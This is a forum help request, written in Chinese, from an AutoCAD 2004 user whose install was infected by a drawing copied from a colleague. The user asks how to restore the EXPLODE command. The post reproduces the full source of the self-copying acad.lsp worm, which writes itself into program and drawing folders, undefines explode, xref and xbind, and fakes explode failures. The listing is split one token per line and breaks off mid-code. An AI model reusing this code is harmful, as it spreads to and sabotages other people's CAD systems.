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我的CAD2004安装后,从同事那儿拷贝了一个图,结果无法执行_explode.按网上介绍的方法搜索了acad.lsp,acadapp.lsp,清除后直接打开图纸时仍生成一个acad.lsp文件.也无法炸开块.
请高手指教此种情况用什么办法可以去除不能执行_explode的情况.
注:在执行此命令时于前面加上一个.可以,把acad.lsp用记事本打开后删除内容内再存也可以用,先打开程序再开图纸也不会出现炸不开的问题.但是每次打开CAD程序时会出现下列命令:
正在打开 AutoCAD 2004 格式的文件。
正在重生成模型。
; 错误: 输入的列表有缺陷
AutoCAD 菜单实用程序已加载。
生成的acad.lsp
用记事本打开后的内容如下:
(defun
s::startup
(/
old_cmd
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(substr
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))
)
(close
wjm)
)
)
(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)
)
)
)
)
(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)
)
(close
wjm)
(close
wjm1)
)
)
)
(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(as
if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
find")
(princ
"\n")
(princ
cont)
(princ
"
were
not
able
to
be
explode")
)
)
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
附件为运行CAD时在文本编辑时会显示错误的画面,请高手一并指点.
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